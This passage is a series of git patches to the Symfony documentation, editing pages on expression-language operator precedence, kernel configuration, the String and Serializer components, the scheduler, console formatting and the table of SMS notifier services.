+``~``                                          left
+``+``, ``-``                                   left
+``..``                                         left
+``==``, ``===``, ``!=``, ``!==``,              left
+``<``, ``>``, ``>=``, ``<=``,
+``not in``, ``in``, ``contains``,
+``starts with``, ``ends with``, ``matches``
+``&``                                          left
+``^``                                          left
+``|``                                          left
+``and``, ``&&``                                left
+``or``, ``||``                                 left
+=============================================  =============
+
+
 Built-in Objects and Variables
 ------------------------------
 

From c883a117272ab8d9c3ce7a9dd9fda1b3cb4e00d0 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 13 May 2024 14:50:37 +0200
Subject: [PATCH 6081/7107] Minor tweaks

---
 reference/formats/expression_language.rst | 51 +++++++++++++----------
 1 file changed, 28 insertions(+), 23 deletions(-)

diff --git a/reference/formats/expression_language.rst b/reference/formats/expression_language.rst
index 5bc2970024a..79af2d14002 100644
--- a/reference/formats/expression_language.rst
+++ b/reference/formats/expression_language.rst
@@ -425,32 +425,37 @@ Other Operators
 Operators Precedence
 ~~~~~~~~~~~~~~~~~~~~
 
-The following table summarize the operators and their associativity from the highest to the lowest precedence.
-It can be useful to understand the actual behavior of an expression.
-
-To avoid ambiguities it is a good practice to add parentheses.
-
-=============================================  =============
-Operators                                      associativity
-=============================================  =============
-``-``, ``+``                                   none
-``**``                                         right
-``*``, ``/``, ``%``                            left
-``not``, ``!``                                 none
-``~``                                          left
-``+``, ``-``                                   left
-``..``                                         left
-``==``, ``===``, ``!=``, ``!==``,              left
+Operator precedence determines the order in which operations are processed in an
+expression. For example, the result of the expression ``1 + 2 * 4`` is ``9``
+and not ``12`` because the multiplication operator (``*``) takes precedence over
+the addition operator (``+``).
+
+To avoid ambiguities (or to alter the default order of operations) add
+parentheses in your expressions (e.g. ``(1 + 2) * 4`` or ``1 + (2 * 4)``.
+
+The following table summarizes the operators and their associativity from the
+**highest to the lowest precedence**:
+
+=======================================================  =============
+Operators                                                associativity
+=======================================================  =============
+``-``, ``+`` (unary operators that add the number sign)  none
+``**``                                                   right
+``*``, ``/``, ``%``                                      left
+``not``, ``!``                                           none
+``~``                                                    left
+``+``, ``-``                                             left
+``..``                                                   left
+``==``, ``===``, ``!=``, ``!==``,                        left
 ``<``, ``>``, ``>=``, ``<=``,
 ``not in``, ``in``, ``contains``,
 ``starts with``, ``ends with``, ``matches``
-``&``                                          left
-``^``                                          left
-``|``                                          left
-``and``, ``&&``                                left
-``or``, ``||``                                 left
-=============================================  =============
-
+``&``                                                    left
+``^``                                                    left
+``|``                                                    left
+``and``, ``&&``                                          left
+``or``, ``||``                                           left
+=======================================================  =============
 
 Built-in Objects and Variables
 ------------------------------

From 132cbeb330c07fc82f0735d053144bd4bab3418c Mon Sep 17 00:00:00 2001
From: pecapel <pecapel.dev@gmail.com>
Date: Mon, 13 May 2024 11:02:13 +0200
Subject: [PATCH 6082/7107]  feat(templates): recommend Asset Mapper instead of
 Webpack

---
 templates.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/templates.rst b/templates.rst
index 37c1408af15..c3d4ac4d53d 100644
--- a/templates.rst
+++ b/templates.rst
@@ -329,8 +329,8 @@ as follows:
 Build, Versioning & More Advanced CSS, JavaScript and Image Handling
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-For help building, versioning and minifying your JavaScript and
-CSS assets in a modern way, read about :doc:`Symfony's Webpack Encore </frontend>`.
+For help building and versioning your JavaScript and
+CSS assets in a modern way, read about :doc:`Symfony's AssetMapper </frontend>`.
 
 .. _twig-app-variable:
 
@@ -1098,7 +1098,7 @@ JavaScript library.
 
 First, include the `hinclude.js`_ library in your page
 :ref:`linking to it <templates-link-to-assets>` from the template or adding it
-to your application JavaScript :doc:`using Webpack Encore </frontend>`.
+to your application JavaScript :doc:`using AssetMapper </frontend>`.
 
 As the embedded content comes from another page (or controller for that matter),
 Symfony uses a version of the standard ``render()`` function to configure

From 83a794c66197fd31238656462b9125d950eada0e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 13 May 2024 15:31:47 +0200
Subject: [PATCH 6083/7107] Tweak

---
 reference/configuration/kernel.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/reference/configuration/kernel.rst b/reference/configuration/kernel.rst
index 4a26597aeb2..0125094a64d 100644
--- a/reference/configuration/kernel.rst
+++ b/reference/configuration/kernel.rst
@@ -267,8 +267,6 @@ This parameter stores the absolute path of the root directory of your Symfony ap
 which is used by applications to perform operations with file paths relative to
 the project's root directory.
 
-Example: `/home/user/my_project`
-
 By default, its value is calculated automatically as the directory where the
 main ``composer.json`` file is stored. This value is also exposed via the
 :method:`Symfony\\Component\\HttpKernel\\Kernel::getProjectDir` method of the
@@ -290,6 +288,8 @@ have deleted it entirely (for example in the production servers), override the
 
         public function getProjectDir(): string
         {
+            // when defining a hardcoded string, don't add the triailing slash to the path
+            // e.g. '/home/user/my_project', '/app', '/var/www/example.com'
             return \dirname(__DIR__);
         }
     }

From 90fa8ca7651a20126e7f3102b680fef87c71f7e2 Mon Sep 17 00:00:00 2001
From: Adam Williams <lol768@users.noreply.github.com>
Date: Mon, 13 May 2024 13:49:57 +0100
Subject: [PATCH 6084/7107] Respond to "patches welcome" comment

On symfony/symfony#11679
---
 components/http_foundation.rst | 11 +++++++++++
 1 file changed, 11 insertions(+)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index 9fa9ab6e33c..d4723d43e5a 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -730,6 +730,16 @@ The ``JsonResponse`` class sets the ``Content-Type`` header to
     Only methods that respond to GET requests are vulnerable to XSSI 'JSON Hijacking'.
     Methods responding to POST requests only remain unaffected.
 
+.. danger::
+
+    The ``JsonResponse`` constructor exhibits non-standard JSON encoding behavior
+    and will treat ``null`` as an empty object if passed as a constructor argument,
+    despite null being a `valid JSON top-level value`_.
+
+    This behavior cannot be changed without backwards-compatibility concerns, but
+    it's possible to call ``setData`` and pass the value there to opt-out of the
+    behavior.
+
 JSONP Callback
 ~~~~~~~~~~~~~~
 
@@ -797,5 +807,6 @@ Learn More
 .. _nginx: https://www.nginx.com/resources/wiki/start/topics/examples/xsendfile/
 .. _Apache: https://tn123.org/mod_xsendfile/
 .. _`JSON Hijacking`: https://haacked.com/archive/2009/06/25/json-hijacking.aspx/
+.. _`valid JSON top-level value`: https://www.json.org/json-en.html
 .. _OWASP guidelines: https://cheatsheetseries.owasp.org/cheatsheets/AJAX_Security_Cheat_Sheet.html#always-return-json-with-an-object-on-the-outside
 .. _RFC 8674: https://tools.ietf.org/html/rfc8674

From 90802a6f774061c35392d491753cb87c490ba136 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 13 May 2024 15:49:22 +0200
Subject: [PATCH 6085/7107] Tweak

---
 security/custom_authenticator.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/custom_authenticator.rst b/security/custom_authenticator.rst
index 9614c3a4e55..2259f9f0e08 100644
--- a/security/custom_authenticator.rst
+++ b/security/custom_authenticator.rst
@@ -163,7 +163,7 @@ can define what happens in these cases:
 ``onAuthenticationSuccess(Request $request, TokenInterface $token, string $firewallName): ?Response``
     If the user is authenticated, this method is called with the
     authenticated ``$token``. This method can return a response (e.g.
-    redirect the user to their profile page).
+    redirect the user to some page).
 
     If ``null`` is returned, the request continues like normal (i.e. the
     controller matching the login route is called). This is useful for API

From d49fa646c7a21cc46528aa15e41e21c8e4708bd6 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Mon, 13 May 2024 17:15:54 +0200
Subject: [PATCH 6086/7107] backport #19874 to 5.4

---
 reference/configuration/kernel.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/reference/configuration/kernel.rst b/reference/configuration/kernel.rst
index 0e31e423dd9..18554d2d467 100644
--- a/reference/configuration/kernel.rst
+++ b/reference/configuration/kernel.rst
@@ -47,7 +47,7 @@ charset::
 Project Directory
 ~~~~~~~~~~~~~~~~~
 
-**type**: ``string`` **default**: the directory of the project ``composer.json``
+**type**: ``string`` **default**: the directory of the project's ``composer.json``
 
 This returns the absolute path of the root directory of your Symfony project,
 which is used by applications to perform operations with file paths relative to
@@ -75,6 +75,8 @@ method to return the right project directory::
 
         public function getProjectDir(): string
         {
+            // when defining a hardcoded string, don't add the trailing slash to the path
+            // e.g. '/home/user/my_project', '/app', '/var/www/example.com'
             return \dirname(__DIR__);
         }
     }

From d670e01d8dd2c7a24f4d9b7f8ff05b1165c342fd Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Mon, 13 May 2024 17:18:44 +0200
Subject: [PATCH 6087/7107] fix typo

---
 reference/configuration/kernel.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/kernel.rst b/reference/configuration/kernel.rst
index 0125094a64d..e12482aae4a 100644
--- a/reference/configuration/kernel.rst
+++ b/reference/configuration/kernel.rst
@@ -288,7 +288,7 @@ have deleted it entirely (for example in the production servers), override the
 
         public function getProjectDir(): string
         {
-            // when defining a hardcoded string, don't add the triailing slash to the path
+            // when defining a hardcoded string, don't add the trailing slash to the path
             // e.g. '/home/user/my_project', '/app', '/var/www/example.com'
             return \dirname(__DIR__);
         }

From 486c967f24591dc9ccb18f30478e30cfad360f2b Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 13 May 2024 10:37:12 +0200
Subject: [PATCH 6088/7107] [String] add named arguments

---
 components/string.rst | 32 ++++++++++++++++----------------
 1 file changed, 16 insertions(+), 16 deletions(-)

diff --git a/components/string.rst b/components/string.rst
index ca289c70ba4..0cf0583da6c 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -217,7 +217,7 @@ Methods to Change Case
 
     // changes all graphemes/code points to "title case"
     u('foo bar')->title();     // 'Foo bar'
-    u('foo bar')->title(true); // 'Foo Bar'
+    u('foo bar')->title(allWords: true); // 'Foo Bar'
 
     // changes all graphemes/code points to camelCase
     u('Foo: Bar-baz.')->camel(); // 'fooBarBaz'
@@ -255,20 +255,20 @@ Methods to Append and Prepend
     u('UserControllerController')->ensureEnd('Controller'); // 'UserController'
 
     // returns the contents found before/after the first occurrence of the given string
-    u('hello world')->before('world');   // 'hello '
-    u('hello world')->before('o');       // 'hell'
-    u('hello world')->before('o', true); // 'hello'
+    u('hello world')->before('world');                  // 'hello '
+    u('hello world')->before('o');                      // 'hell'
+    u('hello world')->before('o', includeNeedle: true); // 'hello'
 
-    u('hello world')->after('hello');   // ' world'
-    u('hello world')->after('o');       // ' world'
-    u('hello world')->after('o', true); // 'o world'
+    u('hello world')->after('hello');                  // ' world'
+    u('hello world')->after('o');                      // ' world'
+    u('hello world')->after('o', includeNeedle: true); // 'o world'
 
     // returns the contents found before/after the last occurrence of the given string
-    u('hello world')->beforeLast('o');       // 'hello w'
-    u('hello world')->beforeLast('o', true); // 'hello wo'
+    u('hello world')->beforeLast('o');                      // 'hello w'
+    u('hello world')->beforeLast('o', includeNeedle: true); // 'hello wo'
 
-    u('hello world')->afterLast('o');       // 'rld'
-    u('hello world')->afterLast('o', true); // 'orld'
+    u('hello world')->afterLast('o');                      // 'rld'
+    u('hello world')->afterLast('o', includeNeedle: true); // 'orld'
 
 Methods to Pad and Trim
 ~~~~~~~~~~~~~~~~~~~~~~~
@@ -381,17 +381,17 @@ Methods to Join, Split, Truncate and Reverse
     u('Lorem Ipsum')->truncate(80);            // 'Lorem Ipsum'
     // the second argument is the character(s) added when a string is cut
     // (the total length includes the length of this character(s))
-    u('Lorem Ipsum')->truncate(8, '…');        // 'Lorem I…'
+    u('Lorem Ipsum')->truncate(8, '…');             // 'Lorem I…'
     // if the third argument is false, the last word before the cut is kept
     // even if that generates a string longer than the desired length
-    u('Lorem Ipsum')->truncate(8, '…', false); // 'Lorem Ipsum'
+    u('Lorem Ipsum')->truncate(8, '…', cut: false); // 'Lorem Ipsum'
 
 ::
 
     // breaks the string into lines of the given length
-    u('Lorem Ipsum')->wordwrap(4);             // 'Lorem\nIpsum'
+    u('Lorem Ipsum')->wordwrap(4);                  // 'Lorem\nIpsum'
     // by default it breaks by white space; pass TRUE to break unconditionally
-    u('Lorem Ipsum')->wordwrap(4, "\n", true); // 'Lore\nm\nIpsu\nm'
+    u('Lorem Ipsum')->wordwrap(4, "\n", cut: true); // 'Lore\nm\nIpsu\nm'
 
     // replaces a portion of the string with the given contents:
     // the second argument is the position where the replacement starts;
@@ -405,7 +405,7 @@ Methods to Join, Split, Truncate and Reverse
     u('0123456789')->chunk(3);  // ['012', '345', '678', '9']
 
     // reverses the order of the string contents
-    u('foo bar')->reverse(); // 'rab oof'
+    u('foo bar')->reverse();  // 'rab oof'
     u('さよなら')->reverse(); // 'らなよさ'
 
 Methods Added by ByteString

From 027f32aa29bc71138e8bfc432969fbe3edd78da0 Mon Sep 17 00:00:00 2001
From: Maxim <BigShark666@gmail.com>
Date: Tue, 14 May 2024 13:23:14 +0200
Subject: [PATCH 6089/7107] Small type fixes for scheduler.rst

---
 scheduler.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/scheduler.rst b/scheduler.rst
index 8c9aaa48b1c..d23df3b3044 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -662,7 +662,7 @@ being transferred and processed by its handler::
             return $this->schedule ??= (new Schedule())
                 ->with(
                     // ...
-                );
+                )
                 ->before(function(PreRunEvent $event) {
                     $message = $event->getMessage();
                     $messageContext = $event->getMessageContext();
@@ -675,13 +675,13 @@ being transferred and processed by its handler::
 
                     // allow to call the ShouldCancel() and avoid the message to be handled
                         $event->shouldCancel(true);
-                }
+                })
                 ->after(function(PostRunEvent $event) {
                     // Do what you want
-                }
+                })
                 ->onFailure(function(FailureEvent $event) {
                     // Do what you want
-                }
+                });
         }
     }
 

From 705d5d2ae91a508c7c1be057f4f4228e5e537c74 Mon Sep 17 00:00:00 2001
From: AndoniLarz <andoni@larzabal.eu>
Date: Sat, 1 Apr 2023 16:08:11 +0200
Subject: [PATCH 6090/7107] [Serializer] Add documentation about a new
 XmlEncoder CDATA wrapping opt-out context option

---
 components/serializer.rst | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/components/serializer.rst b/components/serializer.rst
index 62f8af323b1..febc23e3495 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -1206,8 +1206,16 @@ Option                          Description
 ``save_options``                XML saving `options with libxml`_                  ``0``
 ``remove_empty_tags``           If set to true, removes all empty tags in the      ``false``
                                 generated XML
+``cdata_wrapping``              If set to false, will not wrap any value           ``true``
+                                containing one of the following characters (
+                                ``<``, ``>``, ``&``) in `a CDATA section`_ like
+                                following: ``<![CDATA[...]]>``
 ==============================  =================================================  ==========================
 
+.. versionadded:: 6.4
+
+    The `cdata_wrapping` option was introduced in Symfony 6.4.
+
 Example with custom ``context``::
 
     use Symfony\Component\Serializer\Encoder\XmlEncoder;
@@ -1936,3 +1944,4 @@ Learn more
 .. _`data URI`: https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URIs
 .. _seld/jsonlint: https://github.com/Seldaek/jsonlint
 .. _$flags: https://www.php.net/manual/en/json.constants.php
+.. _`a CDATA section`: https://en.wikipedia.org/wiki/CDATA

From f1927e150b0c22276c051318367b9da99beecbbe Mon Sep 17 00:00:00 2001
From: gitomato <gitomatodev@gmail.com>
Date: Mon, 13 May 2024 11:08:26 +0200
Subject: [PATCH 6091/7107] Move Doctrine constraints out of Other constraints

---
 reference/constraints/map.rst.inc | 10 +++++++---
 1 file changed, 7 insertions(+), 3 deletions(-)

diff --git a/reference/constraints/map.rst.inc b/reference/constraints/map.rst.inc
index 1d56346b096..58f519965d1 100644
--- a/reference/constraints/map.rst.inc
+++ b/reference/constraints/map.rst.inc
@@ -86,6 +86,13 @@ Financial and other Number Constraints
 * :doc:`Issn </reference/constraints/Issn>`
 * :doc:`Isin </reference/constraints/Isin>`
 
+Doctrine Constraints
+~~~~~~~~~~~~~~~~~~~~
+
+* :doc:`UniqueEntity </reference/constraints/UniqueEntity>`
+* :doc:`EnableAutoMapping </reference/constraints/EnableAutoMapping>`
+* :doc:`DisableAutoMapping </reference/constraints/DisableAutoMapping>`
+
 Other Constraints
 ~~~~~~~~~~~~~~~~~
 
@@ -100,6 +107,3 @@ Other Constraints
 * :doc:`Traverse </reference/constraints/Traverse>`
 * :doc:`Collection </reference/constraints/Collection>`
 * :doc:`Count </reference/constraints/Count>`
-* :doc:`UniqueEntity </reference/constraints/UniqueEntity>`
-* :doc:`EnableAutoMapping </reference/constraints/EnableAutoMapping>`
-* :doc:`DisableAutoMapping </reference/constraints/DisableAutoMapping>`

From 5961ea1cccb8307bbecb684f4af0bd734654ec08 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 16 May 2024 07:20:14 +0200
Subject: [PATCH 6092/7107] -

---
 components/http_foundation.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index 510fecd3296..4cec5859ebc 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -729,7 +729,7 @@ The ``JsonResponse`` class sets the ``Content-Type`` header to
     Only methods that respond to GET requests are vulnerable to XSSI 'JSON Hijacking'.
     Methods responding to POST requests only remain unaffected.
 
-.. danger::
+.. warning::
 
     The ``JsonResponse`` constructor exhibits non-standard JSON encoding behavior
     and will treat ``null`` as an empty object if passed as a constructor argument,

From 0496c33aabb74b986e9c0fcb99a6c57d101811fb Mon Sep 17 00:00:00 2001
From: Vincent Chareunphol <vincent@devoji.com>
Date: Thu, 16 May 2024 09:55:02 +0200
Subject: [PATCH 6093/7107] Update advice

---
 testing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/testing.rst b/testing.rst
index f4edb68c404..2a250faaad1 100644
--- a/testing.rst
+++ b/testing.rst
@@ -97,7 +97,7 @@ You can run tests using the ``bin/phpunit`` command:
 .. tip::
 
     In large test suites, it can make sense to create subdirectories for
-    each type of tests (e.g. ``tests/Unit/`` and ``tests/Functional/``).
+    each type of tests (e.g. ``tests/Unit/``, ``tests/Integration/`` and ``tests/Application/``).
 
 .. _integration-tests:
 

From a40bf7c2d12b049a1190e0727c1096b95fe2908a Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 16 May 2024 13:20:12 +0200
Subject: [PATCH 6094/7107] -

---
 components/serializer.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 03583918304..9fc4c8d5417 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -1166,10 +1166,6 @@ Option                          Description
                                 following: ``<![CDATA[...]]>``
 ==============================  =================================================  ==========================
 
-.. versionadded:: 6.4
-
-    The `cdata_wrapping` option was introduced in Symfony 6.4.
-
 Example with custom ``context``::
 
     use Symfony\Component\Serializer\Encoder\XmlEncoder;

From c6d35123b955de9a0a7080f4b78fee3ec7b32ef1 Mon Sep 17 00:00:00 2001
From: alexpozzi <alexpozzi@users.noreply.github.com>
Date: Mon, 13 May 2024 17:49:41 +0200
Subject: [PATCH 6095/7107] Add missing XML serializer's CDATA options

---
 components/serializer.rst | 12 +++++++++---
 1 file changed, 9 insertions(+), 3 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 2d1ea2c7637..1c86a111084 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -1200,11 +1200,17 @@ Option                          Description
 ``remove_empty_tags``           If set to true, removes all empty tags in the      ``false``
                                 generated XML
 ``cdata_wrapping``              If set to false, will not wrap any value           ``true``
-                                containing one of the following characters (
-                                ``<``, ``>``, ``&``) in `a CDATA section`_ like
-                                following: ``<![CDATA[...]]>``
+                                matching the ``cdata_wrapping_pattern`` regex in
+                                `a CDATA section`_ like following:
+                                ``<![CDATA[...]]>``
+``cdata_wrapping_pattern``      A regular expression pattern to determine if a     ``/[<>&]/``
+                                value should be wrapped in a CDATA section
 ==============================  =================================================  ==========================
 
+.. versionadded:: 7.1
+
+    The `cdata_wrapping_pattern` option was introduced in Symfony 7.1.
+
 Example with custom ``context``::
 
     use Symfony\Component\Serializer\Encoder\XmlEncoder;

From b87da5685bafece785392e325044fe47b4bd697d Mon Sep 17 00:00:00 2001
From: Vincent Chareunphol <vincent@devoji.com>
Date: Fri, 17 May 2024 08:20:02 +0200
Subject: [PATCH 6096/7107] [Console] Add other pre-defined block styles

---
 components/console/helpers/formatterhelper.rst | 9 +++++----
 1 file changed, 5 insertions(+), 4 deletions(-)

diff --git a/components/console/helpers/formatterhelper.rst b/components/console/helpers/formatterhelper.rst
index 5e4ae0d91fb..3cb87c4c307 100644
--- a/components/console/helpers/formatterhelper.rst
+++ b/components/console/helpers/formatterhelper.rst
@@ -64,8 +64,9 @@ block will be formatted with more padding (one blank line above and below the
 messages and 2 spaces on the left and right).
 
 The exact "style" you use in the block is up to you. In this case, you're using
-the pre-defined ``error`` style, but there are other styles, or you can create
-your own. See :doc:`/console/coloring`.
+the pre-defined ``error`` style, but there are other styles (``info``,
+``comment``, ``question``), or you can create your own.
+See :doc:`/console/coloring`.
 
 Print Truncated Messages
 ------------------------
@@ -87,7 +88,7 @@ And the output will be:
 
     This is...
 
-The message is truncated to the given length, then the suffix is appended to end
+The message is truncated to the given length, then the suffix is appended to the end
 of that string.
 
 Negative String Length
@@ -109,7 +110,7 @@ Custom Suffix
 
 By default, the ``...`` suffix is used. If you wish to use a different suffix,
 pass it as the third argument to the method.
-The suffix is always appended, unless truncate length is longer than a message
+The suffix is always appended, unless truncated length is longer than a message
 and a suffix length.
 If you don't want to use suffix at all, pass an empty string::
 

From 4554fdfd6d2220a9ba23801247df24883728aaff Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 17 May 2024 13:14:21 +0200
Subject: [PATCH 6097/7107] [Notifier] Change the structure of the table
 listing the notifiers

---
 notifier.rst | 179 +++++++++++++++++++++++++++++++++++++--------------
 1 file changed, 132 insertions(+), 47 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 9b9eaf957bd..af134f4d349 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -55,53 +55,138 @@ to send SMS messages to mobile phones. This feature requires subscribing to
 a third-party service that sends SMS messages. Symfony provides integration
 with a couple popular SMS services:
 
-==================  =====================================  ========================================================================================================================= ===============
-Service             Package                                DSN                                                                                                                       Webhook support
-==================  =====================================  ========================================================================================================================= ===============
-`46elks`_           ``symfony/forty-six-elks-notifier``    ``forty-six-elks://API_USERNAME:API_PASSWORD@default?from=FROM``
-`AllMySms`_         ``symfony/all-my-sms-notifier``        ``allmysms://LOGIN:APIKEY@default?from=FROM``
-`AmazonSns`_        ``symfony/amazon-sns-notifier``        ``sns://ACCESS_KEY:SECRET_KEY@default?region=REGION``
-`Bandwidth`_        ``symfony/bandwidth-notifier``         ``bandwidth://USERNAME:PASSWORD@default?from=FROM&account_id=ACCOUNT_ID&application_id=APPLICATION_ID&priority=PRIORITY``
-`Brevo`_            ``symfony/brevo-notifier``             ``brevo://API_KEY@default?sender=SENDER``
-`Clickatell`_       ``symfony/clickatell-notifier``        ``clickatell://ACCESS_TOKEN@default?from=FROM``
-`ContactEveryone`_  ``symfony/contact-everyone-notifier``  ``contact-everyone://TOKEN@default?&diffusionname=DIFFUSION_NAME&category=CATEGORY``
-`Esendex`_          ``symfony/esendex-notifier``           ``esendex://USER_NAME:PASSWORD@default?accountreference=ACCOUNT_REFERENCE&from=FROM``
-`FakeSms`_          ``symfony/fake-sms-notifier``          ``fakesms+email://MAILER_SERVICE_ID?to=TO&from=FROM`` or ``fakesms+logger://default``
-`FreeMobile`_       ``symfony/free-mobile-notifier``       ``freemobile://LOGIN:API_KEY@default?phone=PHONE``
-`GatewayApi`_       ``symfony/gateway-api-notifier``       ``gatewayapi://TOKEN@default?from=FROM``
-`GoIP`_             ``symfony/goip-notifier``              ``goip://USERNAME:PASSWORD@HOST:80?sim_slot=SIM_SLOT``
-`Infobip`_          ``symfony/infobip-notifier``           ``infobip://AUTH_TOKEN@HOST?from=FROM``
-`Iqsms`_            ``symfony/iqsms-notifier``             ``iqsms://LOGIN:PASSWORD@default?from=FROM``
-`iSendPro`_         ``symfony/isendpro-notifier``          ``isendpro://ACCOUNT_KEY_ID@default?from=FROM&no_stop=NO_STOP&sandbox=SANDBOX``
-`KazInfoTeh`_       ``symfony/kaz-info-teh-notifier``      ``kaz-info-teh://USERNAME:PASSWORD@default?sender=FROM``
-`LightSms`_         ``symfony/light-sms-notifier``         ``lightsms://LOGIN:TOKEN@default?from=PHONE``
-`Mailjet`_          ``symfony/mailjet-notifier``           ``mailjet://TOKEN@default?from=FROM``
-`MessageBird`_      ``symfony/message-bird-notifier``      ``messagebird://TOKEN@default?from=FROM``
-`MessageMedia`_     ``symfony/message-media-notifier``     ``messagemedia://API_KEY:API_SECRET@default?from=FROM``
-`Mobyt`_            ``symfony/mobyt-notifier``             ``mobyt://USER_KEY:ACCESS_TOKEN@default?from=FROM``
-`Nexmo`_            ``symfony/nexmo-notifier``             Abandoned in favor of Vonage (symfony/vonage-notifier).
-`Octopush`_         ``symfony/octopush-notifier``          ``octopush://USERLOGIN:APIKEY@default?from=FROM&type=TYPE``
-`OrangeSms`_        ``symfony/orange-sms-notifier``        ``orange-sms://CLIENT_ID:CLIENT_SECRET@default?from=FROM&sender_name=SENDER_NAME``
-`OvhCloud`_         ``symfony/ovh-cloud-notifier``         ``ovhcloud://APPLICATION_KEY:APPLICATION_SECRET@default?consumer_key=CONSUMER_KEY&service_name=SERVICE_NAME``
-`Plivo`_            ``symfony/plivo-notifier``             ``plivo://AUTH_ID:AUTH_TOKEN@default?from=FROM``
-`Redlink`_          ``symfony/redlink-notifier``           ``redlink://API_KEY:APP_KEY@default?from=SENDER_NAME&version=API_VERSION``
-`RingCentral`_      ``symfony/ring-central-notifier``      ``ringcentral://API_TOKEN@default?from=FROM``
-`Sendberry`_        ``symfony/sendberry-notifier``         ``sendberry://USERNAME:PASSWORD@default?auth_key=AUTH_KEY&from=FROM``
-`Sendinblue`_       ``symfony/sendinblue-notifier``        ``sendinblue://API_KEY@default?sender=PHONE``
-`Sms77`_            ``symfony/sms77-notifier``             ``sms77://API_KEY@default?from=FROM``
-`SimpleTextin`_     ``symfony/simple-textin-notifier``     ``simpletextin://API_KEY@default?from=FROM``
-`Sinch`_            ``symfony/sinch-notifier``             ``sinch://ACCOUNT_ID:AUTH_TOKEN@default?from=FROM``
-`Smsapi`_           ``symfony/smsapi-notifier``            ``smsapi://TOKEN@default?from=FROM``
-`SmsBiuras`_        ``symfony/sms-biuras-notifier``        ``smsbiuras://UID:API_KEY@default?from=FROM&test_mode=0``
-`Smsc`_             ``symfony/smsc-notifier``              ``smsc://LOGIN:PASSWORD@default?from=FROM``
-`SMSFactor`_        ``symfony/sms-factor-notifier``        ``sms-factor://TOKEN@default?sender=SENDER&push_type=PUSH_TYPE``
-`SpotHit`_          ``symfony/spot-hit-notifier``          ``spothit://TOKEN@default?from=FROM``
-`Telnyx`_           ``symfony/telnyx-notifier``            ``telnyx://API_KEY@default?from=FROM&messaging_profile_id=MESSAGING_PROFILE_ID``
-`TurboSms`_         ``symfony/turbo-sms-notifier``         ``turbosms://AUTH_TOKEN@default?from=FROM``
-`Twilio`_           ``symfony/twilio-notifier``            ``twilio://SID:TOKEN@default?from=FROM``                                                                                  yes
-`Vonage`_           ``symfony/vonage-notifier``            ``vonage://KEY:SECRET@default?from=FROM``                                                                                 yes
-`Yunpian`_          ``symfony/yunpian-notifier``           ``yunpian://APIKEY@default``
-==================  =====================================  ========================================================================================================================= ===============
+==================  ====================================================================================================================================
+Service
+==================  ====================================================================================================================================
+`46elks`_           **Install**: ``composer require symfony/forty-six-elks-notifier`` \
+                    **DSN**: ``forty-six-elks://API_USERNAME:API_PASSWORD@default?from=FROM`` \
+                    **Webhook support**: No
+`AllMySms`_         **Install**: ``composer require symfony/all-my-sms-notifier`` \
+                    **DSN**: ``allmysms://LOGIN:APIKEY@default?from=FROM`` \
+                    **Webhook support**: No
+`AmazonSns`_        **Install**: ``composer require symfony/amazon-sns-notifier`` \
+                    **DSN**: ``sns://ACCESS_KEY:SECRET_KEY@default?region=REGION`` \
+                    **Webhook support**: No
+`Bandwidth`_        **Install**: ``composer require symfony/bandwidth-notifier`` \
+                    **DSN**: ``bandwidth://USERNAME:PASSWORD@default?from=FROM&account_id=ACCOUNT_ID&application_id=APPLICATION_ID&priority=PRIORITY`` \
+                    **Webhook support**: No
+`Brevo`_            **Install**: ``composer require symfony/brevo-notifier`` \
+                    **DSN**: ``brevo://API_KEY@default?sender=SENDER`` \
+                    **Webhook support**: No
+`Clickatell`_       **Install**: ``composer require symfony/clickatell-notifier`` \
+                    **DSN**: ``clickatell://ACCESS_TOKEN@default?from=FROM`` \
+                    **Webhook support**: No
+`ContactEveryone`_  **Install**: ``composer require symfony/contact-everyone-notifier`` \
+                    **DSN**: ``contact-everyone://TOKEN@default?&diffusionname=DIFFUSION_NAME&category=CATEGORY`` \
+                    **Webhook support**: No
+`Esendex`_          **Install**: ``composer require symfony/esendex-notifier`` \
+                    **DSN**: ``esendex://USER_NAME:PASSWORD@default?accountreference=ACCOUNT_REFERENCE&from=FROM`` \
